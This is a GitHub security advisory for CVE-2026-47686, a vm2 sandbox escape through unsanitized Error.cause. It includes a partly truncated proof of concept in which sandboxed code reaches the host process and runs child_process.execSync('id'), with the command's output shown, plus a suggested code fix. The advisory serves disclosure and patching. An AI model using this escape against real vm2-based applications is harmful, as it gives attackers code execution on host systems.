GitHub Advisoryadvisory · npm

GHSA-m283-3h24-438v VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE

CRITICAL Published 2026-08-17 Modified 2026-08-17 Official page ↗
Aliases
CVE-2026-47686
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-693
Reviewed
2026-08-17

Affected packages

• npm vm2: < 3.11.6 → fixed in 3.11.6

Description

Affected: vm2 { throw new Error('fail', { cause: process }); } } }); const result = vm.run(` try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('child_process').execSync('id').toString(); } `); console.log(result); ``` Verified output: ``` uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... ``` Full RCE confirmed. Impact Any application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains: • Full host process access (read/write files, spawn processes, network access) • Sandbox escape with changed scope (CVSS S:C) • No user interaction required The prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way. Suggested Fix Add `.cause` sanitization before the prototype-chain walk, so it applies to all error types: ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]); // Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { /* best effort */ } let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; } ``` `docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships. Artifacts | File | Role | |------|------| | `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` | poc_error_cause_escape.js

Related

Alias · CVE (1)

  • CVE-2026-47686 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (1)

  • CWE-693 Protection Mechanism Failure weakness

References